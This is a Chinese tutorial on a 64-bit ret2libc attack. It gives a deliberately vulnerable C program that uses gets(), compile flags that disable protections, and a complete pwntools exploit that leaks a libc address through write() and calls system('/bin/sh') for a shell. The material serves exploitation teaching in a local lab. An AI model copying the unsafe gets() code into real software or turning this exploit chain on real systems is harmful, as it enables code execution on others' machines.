基础知识
1、复现一下Ret2Libc 32位下的内存布局
针对这张图,我们在上一节做了细致的分析
32位的调用方式
- 32位系统中调用函数的方式:栈传递参数
- 构造函数调用将参数和返回地址放在栈上
- 构造执行write(1,buf2,20)后,再返回main函数
64位的调用方式
- 64位系统中使用寄存器传递参数:rdi、rsi、rdx、rcx、r8、r9(1-6个参数)
- http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/
- 要构造write(1,buf2,20),需要控制3个参数:rdi、rsi、rdx,第3个参数代表输出的size,如果没有rdx的gadget可以暂时不管,输出多少无所谓,在下面我们构造payload的时候,我们不写第3个参数
Ret2Libc
这节课,我们研究的源码
#include <stdio.h>
char buf2[10]="ret2libc is good";
void vul()
{
char buf[10];
gets(buf);
}
void main()
{
write(1,"hello",5);
vul();
}
使用如下指令编译
gcc -no-pie -fno-stack-protector -o ret2libc_64 ret2libc_64.c
查看一下保护情况
通过gdb调试,先来计算一下溢出偏移
随后将生成的串拷入
这里计算偏移取的位置与32位下有些区别
只取后4个字节,OK,偏移是18
因为是64位的程序,使用寄存器传递参数,我们通过pop指令来向寄存器中传值
下面来搜索gadget
ROPgadget --binary ./ret2libc_64 --only "pop|ret"
通过ldd命令查询程序所需的动态链接库(so)
编写Exp如下
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p=process("./ret2libc_64")
e=ELF("./ret2libc_64")
write_plt_addr=e.plt["write"]
gets_got_addr=e.got["gets"]
vul_addr=e.symbols["vul"]
pop_rdi_addr=0x4005e3
pop_rsi_addr=0x4005e1
offset=18
pause()
payload1=offset*"A"+p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_addr)+p64(gets_got_addr)+p64(1)+p64(write_plt_addr)+p64(vul_addr)
p.sendlineafter("hello",payload1)
#gets_addr=u64(p.recv(8))
gets_addr=u64(p.recv()[:8])
print hex(gets_addr)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base=gets_addr-libc.symbols["gets"]
system_addr=libc_base+libc.symbols["system"]
bin_sh_addr=libc_base+libc.search("/bin/sh").next()
payload2=offset*"B"+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
p.sendline(payload2)
p.interactive()
测试Exp,OK,我们成功获得Shell
好了,这节就到这里了
加油
参考
Roger师傅的课程
共有条评论 网友评论